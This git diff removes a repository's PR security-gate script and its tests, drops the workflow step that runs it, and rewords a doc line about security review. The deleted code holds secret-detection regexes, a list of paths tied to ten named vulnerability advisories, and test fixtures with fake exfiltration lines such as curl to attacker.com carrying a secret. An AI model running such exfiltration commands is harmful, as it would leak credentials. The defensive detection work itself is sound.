diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs deleted file mode 100644 index 2361b2bf36..0000000000 --- a/.github/scripts/check-pr-security.mjs +++ /dev/null @@ -1,393 +0,0 @@ -#!/usr/bin/env node -/** - * check-pr-security.mjs - * Runs 6 security checks against a PR diff. Never posts public comments. - * Creates a draft security advisory in the repo if any check fires. - * - * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR - * Exit: always 0 — security flags are silent, never block the PR visibly. - */ -import { fileURLToPath } from 'node:url'; -import { ghFetch } from './get-bot-token.mjs'; -import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs'; -import { resolveBaseRef } from './check-pr-dependencies.mjs'; - -// ── Pure check functions (exported for testing) ─────────────────────────────── - -const SECRET_PATTERNS = [ - { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ }, - { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ }, - { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ }, - { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ }, - { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i }, -]; - -export function scanSecrets(files) { - const flags = []; - for (const file of files) { - if (!file.patch) continue; - const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')); - for (const line of added) { - for (const { name, re } of SECRET_PATTERNS) { - if (re.test(line)) { - flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) }); - } - } - } - } - return flags; -} - -const CI_BUILD_SCRIPTS = [ - 'scripts/release.sh', - 'scripts/check-docker-deps-stage.mjs', - 'scripts/check-release-package-bootstrap.mjs', - 'scripts/release-package-map.mjs', - 'scripts/docker-onboard-smoke.sh', -]; - -export function scanCITampering(files) { - return files - .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed') - .map(f => ({ check: 'ci-tampering', file: f.filename })); -} - -export function scanBuildScripts(files) { - return files - .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed') - .map(f => ({ check: 'build-script-change', file: f.filename })); -} - -export function scanSupplyChain(files) { - const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml'); - if (!lockfile?.patch) return []; - - const added = new Set(); - const removed = new Set(); - - for (const line of lockfile.patch.split('\n')) { - const entry = parseLockfilePackageDiffEntry(line); - if (!entry) continue; - if (entry.sign === '+') added.add(entry.packageName); - if (entry.sign === '-') removed.add(entry.packageName); - } - - const netNew = [...added].filter(p => !removed.has(p)); - return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : []; -} - -function parseLockfilePackageDiffEntry(line) { - const match = line.match(/^([+-])\s*(.+?)\s*$/); - if (!match) return null; - - let [, sign, rawEntry] = match; - if (!rawEntry.endsWith(':')) return null; - - rawEntry = rawEntry.slice(0, -1).trim(); - if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) { - rawEntry = rawEntry.slice(1, -1); - } - rawEntry = rawEntry.replace(/\(.*$/, '').trim(); - - const versionSep = rawEntry.lastIndexOf('@'); - if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null; - - const packageName = rawEntry.slice(0, versionSep); - if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null; - - return { sign, packageName }; -} - -const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//; -const SUSPICIOUS_PATTERNS = [ - { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ }, - { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ }, - { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ }, - { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// }, -]; - -export function scanTestPatterns(files) { - const flags = []; - for (const file of files) { - if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue; - for (const { name, re } of SUSPICIOUS_PATTERNS) { - if (re.test(file.patch)) { - flags.push({ check: 'suspicious-test', file: file.filename, pattern: name }); - } - } - } - return flags; -} - -const SENSITIVE_PATHS = [ - // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes) - 'packages/adapters/codex-local/', - // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand - 'server/src/services/workspace-realization.ts', - 'server/src/routes/execution-workspaces.ts', - 'server/src/routes/workspace-command-authz.ts', - // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys - 'server/src/routes/agents.ts', - // Advisory 4: Approval decision attribution spoofing via decidedByUserId - 'server/src/routes/approvals.ts', - // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform) - 'ui/src/components/MarkdownBody.tsx', - // Advisory 7: Unauthenticated access to authenticated-mode endpoints - 'server/src/routes/authz.ts', - // Advisory 8: Unauthenticated RCE via import authorization bypass - 'server/src/routes/companies.ts', - // Advisory 9: Malicious skills able to exfiltrate / destroy user data - 'server/src/routes/company-skills.ts', - // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath - 'server/src/services/agent-instructions.ts', -]; - -export function scanSensitivePaths(files) { - return files - .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p))) - .map(f => ({ - check: 'sensitive-path', - file: f.filename, - advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)), - })); -} - -function buildContentsPath(repo, filename, ref) { - return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; -} - -export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) { - const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); - const stale = []; - await Promise.all(SENSITIVE_PATHS.map(async (path) => { - try { - await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token); - } catch (err) { - // 404 means the file/directory no longer exists at this path - if (String(err.message).includes('404')) stale.push(path); - // Other errors (network, rate limit) — re-throw so we don't silently miss them - else throw err; - } - })); - return stale; -} - -// ── Advisory creation ───────────────────────────────────────────────────────── - -const SEVERITY_MAP = { - 'supply-chain': 'critical', - 'sensitive-path': 'critical', - 'secret-scan': 'high', - 'ci-tampering': 'high', - 'suspicious-test': 'high', - 'build-script-change': 'medium', -}; - -const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical']; - -function worstSeverity(flags) { - return flags.reduce((worst, f) => { - const s = SEVERITY_MAP[f.check] ?? 'medium'; - return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst; - }, 'low'); -} - -export function buildAdvisoryPayload(prNumber, prTitle, flags) { - const checkNames = [...new Set(flags.map(f => f.check))].join(', '); - return { - summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`, - description: [ - `**PR:** #${prNumber} — ${prTitle}`, - `**Checks triggered:** ${checkNames}`, - '', - '**Details:**', - ...flags.map(f => [ - `- \`${f.check}\`: ${f.file ?? ''}`, - f.pattern ? ` (pattern: ${f.pattern})` : '', - f.packages ? ` (packages: ${f.packages.join(', ')})` : '', - f.line ? `\n \`${f.line}\`` : '', - ].join('')), - '', - '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.', - ].join('\n'), - severity: worstSeverity(flags), - vulnerabilities: [], - }; -} - -export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) { - const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber); - const payload = buildAdvisoryPayload(prNumber, prTitle, flags); - - if (existing) { - const advisoryId = existing.ghsa_id ?? existing.id; - if (!advisoryId) { - throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`); - } - - // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability"). - // The field is only valid on POST when creating the draft; updates must omit it. - const { vulnerabilities, ...patchPayload } = payload; - - return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, { - method: 'PATCH', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(patchPayload), - }); - } - - return fetchImpl(`/repos/${repo}/security-advisories`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(payload), - }); -} - -// Cap pagination so a large backlog of unrelated draft advisories cannot stall -// the security gate (it runs inside a 5-minute workflow timeout). -const MAX_DRAFT_ADVISORY_PAGES = 20; - -export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) { - const prMarker = `PR #${prNumber}`; - - for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) { - const advisories = await fetchImpl( - `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`, - token, - ); - - if (!Array.isArray(advisories) || advisories.length === 0) return null; - - const existing = advisories.find(advisory => - typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker) - ); - if (existing) return existing; - - if (advisories.length < 100) return null; - } - - console.warn( - `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` + - 'treating as new advisory. A duplicate draft may be created.', - ); - return null; -} - -export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) { - await fetchImpl(`/repos/${repo}/check-runs`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(hasFlags ? { - name: 'security-review', - head_sha: headSha, - // `completed/neutral` instead of `in_progress` so the check doesn't put - // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the - // durable signal for maintainers; there is no completion path that - // could ever flip an `in_progress` check-run back to completed on the - // same head SHA, so it would hang forever. - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - } : { - name: 'security-review', - head_sha: headSha, - status: 'completed', - conclusion: 'success', - output: { - title: 'Security Review Passed', - summary: 'No security concerns detected.', - }, - }), - }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -// Wall-clock budget for the whole script. The workflow job has a 5-minute -// timeout-minutes, and `continue-on-error: true` on a step does NOT override -// a job-level timeout — it only suppresses step failures. So if any API call -// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled, -// failing the `review` check. This watchdog enforces the script's documented -// "always exit 0" contract regardless of API behaviour. -export const SCRIPT_WATCHDOG_MS = 90_000; - -export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) { - const timer = setTimeout(() => { - console.warn( - `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract` - ); - exit(0); - }, timeoutMs); - // Don't keep the event loop alive solely for the watchdog. - timer.unref?.(); - return timer; -} - -async function main() { - const watchdog = startScriptWatchdog(); - - const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env; - - if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) { - console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required'); - process.exit(1); - } - - // Sanitize inputs before use in URL construction (prevents SSRF) - const prNumber = parseInt(PR_NUMBER, 10); - if (!Number.isInteger(prNumber) || prNumber <= 0) { - console.error('ERROR: PR_NUMBER must be a positive integer'); - process.exit(1); - } - if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) { - console.error('ERROR: GH_REPO must be in owner/repo format'); - process.exit(1); - } - - // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch - const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber); - if (stalePaths.length > 0) { - console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:'); - for (const p of stalePaths) console.error(` - ${p}`); - console.error(''); - console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.'); - console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.'); - process.exit(1); - } - - const [pr, files] = await Promise.all([ - ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN), - fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), - ]); - - const allFlags = [ - ...scanSecrets(files), - ...scanCITampering(files), - ...scanBuildScripts(files), - ...scanSupplyChain(files), - ...scanTestPatterns(files), - ...scanSensitivePaths(files), - ]; - - if (allFlags.length > 0) { - console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`); - await Promise.all([ - syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags), - postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true), - ]); - } else { - console.log('[security] all clear'); - await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false); - } - - // Always exit 0 — security flags are silent, never block the PR publicly - clearTimeout(watchdog); - process.exit(0); -} - -if (process.argv[1] === fileURLToPath(import.meta.url)) { - main().catch(e => { console.error(e.message); process.exit(1); }); -} diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs deleted file mode 100644 index 637e2c50b4..0000000000 --- a/.github/scripts/tests/check-pr-security.test.mjs +++ /dev/null @@ -1,380 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert/strict'; -import { - buildAdvisoryPayload, - findExistingDraftAdvisory, - postSecurityCheckRun, - scanSecrets, - scanCITampering, - scanBuildScripts, - scanSupplyChain, - scanTestPatterns, - scanSensitivePaths, - startScriptWatchdog, - syncDraftAdvisory, - validateSensitivePaths, -} from '../check-pr-security.mjs'; -import { ghFetch } from '../get-bot-token.mjs'; - -// ── scanSecrets ────────────────────────────────────────────────────────────── - -test('scanSecrets: flags OpenAI key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: flags AWS key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: ignores removed lines', () => { - const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.equal(scanSecrets(files).length, 0); -}); - -test('scanSecrets: ignores files without patch', () => { - assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0); -}); - -// ── scanCITampering ────────────────────────────────────────────────────────── - -test('scanCITampering: flags workflow file changes', () => { - const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }]; - assert.ok(scanCITampering(files).length > 0); -}); - -test('scanCITampering: ignores non-workflow files', () => { - const files = [{ filename: 'src/foo.ts', status: 'modified' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -test('scanCITampering: ignores removed workflow files', () => { - const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -// ── scanBuildScripts ───────────────────────────────────────────────────────── - -test('scanBuildScripts: flags changes to release.sh', () => { - const files = [{ filename: 'scripts/release.sh', status: 'modified' }]; - assert.ok(scanBuildScripts(files).length > 0); -}); - -test('scanBuildScripts: ignores non-CI scripts', () => { - const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }]; - assert.equal(scanBuildScripts(files).length, 0); -}); - -// ── scanSupplyChain ────────────────────────────────────────────────────────── - -test('scanSupplyChain: flags net-new packages in lockfile', () => { - const patch = `@@ -1,3 +1,4 @@ - packages: -+ 'evil-package@1.0.0': - 'existing-package@2.0.0': -- 'old-package@1.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.ok(flags.length > 0); - assert.ok(flags[0].packages.includes('evil-package')); -}); - -test('scanSupplyChain: does not flag version-only bumps', () => { - const patch = `@@ -1,3 +1,3 @@ - packages: -- 'existing-package@1.0.0': -+ 'existing-package@2.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0: - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('scanSupplyChain: ignores peer suffixes when matching package names', () => { - const patch = `@@ -1,2 +1,2 @@ --@scope/pkg@1.0.0(react@18.2.0): -+@scope/pkg@2.0.0(react@18.2.0): -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0(react@18.2.0): - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => { - const calls = []; - const fakeFetch = async (path) => { - calls.push(path); - if (/[?&]page=1(?:&|$)/.test(path)) { - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` })); - } - if (/[?&]page=2(?:&|$)/.test(path)) { - return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return []; - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' }); - assert.equal(calls.length, 2); -}); - -test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => { - const fakeFetch = async () => [{ summary: 'Completely different advisory' }]; - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - assert.equal(advisory, null); -}); - -test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => { - let pageCount = 0; - const fakeFetch = async () => { - pageCount += 1; - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` })); - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.equal(advisory, null); - assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`); -}); - -test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => { - const calls = []; - const flags = [ - { check: 'ci-tampering', file: '.github/workflows/pr.yml' }, - { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' }, - ]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234'); - assert.equal(calls[1].options.method, 'PATCH'); - const patchBody = JSON.parse(calls[1].options.body); - const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags); - assert.deepEqual(patchBody, expectedPatch); - assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)'); -}); - -test('syncDraftAdvisory: creates a new advisory when none exists', async () => { - const calls = []; - const flags = [{ check: 'supply-chain', packages: ['evil-package'] }]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return []; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories'); - assert.equal(calls[1].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags)); -}); - -test('postSecurityCheckRun: uses the injected fetch implementation', async () => { - const calls = []; - - await postSecurityCheckRun(async (path, token, options) => { - calls.push({ path, token, options }); - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 'deadbeef', true); - - assert.equal(calls.length, 1); - assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs'); - assert.equal(calls[0].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[0].options.body), { - name: 'security-review', - head_sha: 'deadbeef', - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - }); -}); - -test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => { - const seenPaths = []; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'release/1.2', - async (path) => { - seenPaths.push(path); - return { ok: true }; - }, - ); - - assert.deepEqual(stale, []); - assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2'))); - assert.ok(!seenPaths.some(path => path.includes('ref=master'))); -}); - -test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => { - let seen404 = false; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async (path) => { - if (!seen404) { - seen404 = true; - throw new Error('GitHub API GET /contents/foo → 404: missing'); - } - return { ok: true }; - }, - ); - - assert.equal(stale.length, 1); - - await assert.rejects( - validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async () => { - throw new Error('GitHub API GET /contents/foo → 500: boom'); - }, - ), - /500: boom/ - ); -}); - -// ── scanTestPatterns ───────────────────────────────────────────────────────── - -test('scanTestPatterns: flags outbound fetch in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ const res = await fetch('https://attacker.com/collect')`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: flags execSync in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: ignores suspicious patterns in non-test files', () => { - const files = [{ - filename: 'src/api.ts', - patch: `+ const res = await fetch('https://api.example.com')`, - }]; - assert.equal(scanTestPatterns(files).length, 0); -}); - -test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => { - const files = [{ - filename: 'src/__tests__/foo.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -// ── scanSensitivePaths ─────────────────────────────────────────────────────── - -test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => { - const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => { - const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: ignores unrelated paths', () => { - const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -test('scanSensitivePaths: ignores removed files even on sensitive paths', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -// ── startScriptWatchdog ────────────────────────────────────────────────────── - -test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - startScriptWatchdog(20, fakeExit); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now'); -}); - -test('startScriptWatchdog: cleared timer never fires', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - const timer = startScriptWatchdog(20, fakeExit); - clearTimeout(timer); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, null, 'cleared watchdog must not call exit'); -}); - -// ── ghFetch timeout ────────────────────────────────────────────────────────── - -test('ghFetch: aborts the request when the per-call timeout elapses', async () => { - const originalFetch = globalThis.fetch; - // Replace global fetch with one that respects the AbortSignal but never resolves on its own. - globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => { - init?.signal?.addEventListener('abort', () => { - const err = new Error('aborted'); - err.name = 'AbortError'; - reject(err); - }, { once: true }); - }); - - try { - const start = Date.now(); - await assert.rejects( - ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }), - /aborted|abort/i, - ); - const elapsed = Date.now() - start; - assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`); - } finally { - globalThis.fetch = originalFetch; - } -}); diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml index 6b71227729..485e269eef 100644 --- a/.github/workflows/commitperclip-review.yml +++ b/.github/workflows/commitperclip-review.yml @@ -9,7 +9,6 @@ on: permissions: pull-requests: write - security-events: write checks: write contents: read @@ -55,16 +54,6 @@ jobs: PR_AUTHOR: ${{ github.event.pull_request.user.login }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} - - name: Run security gates - run: node .github/scripts/check-pr-security.mjs - continue-on-error: true - timeout-minutes: 3 - env: - GH_TOKEN: ${{ steps.token.outputs.value }} - GH_REPO: ${{ github.repository }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_AUTHOR: ${{ github.event.pull_request.user.login }} - - name: Fail if quality gates failed if: >- github.event.pull_request.user.login != 'dependabot[bot]' && diff --git a/docs/adapters/codex-local.md b/docs/adapters/codex-local.md index 683d6b22b9..7311e79ffb 100644 --- a/docs/adapters/codex-local.md +++ b/docs/adapters/codex-local.md @@ -131,10 +131,10 @@ fleet with ChatGPT-subscription credentials. classification in rather than making `codex-home.ts` inspect execution targets on its own. -Because the warning touches authentication behavior, implementation must go -through the security-review gate. Treat this docs section as the follow-up -implementation spec, not as authorization to add the warning in a docs-only -change. +Because the warning touches authentication behavior, its implementation +needs a maintainer security review before merge. Treat this docs section as +the follow-up implementation spec, not as authorization to add the warning in +a docs-only change. ## Manual Local CLI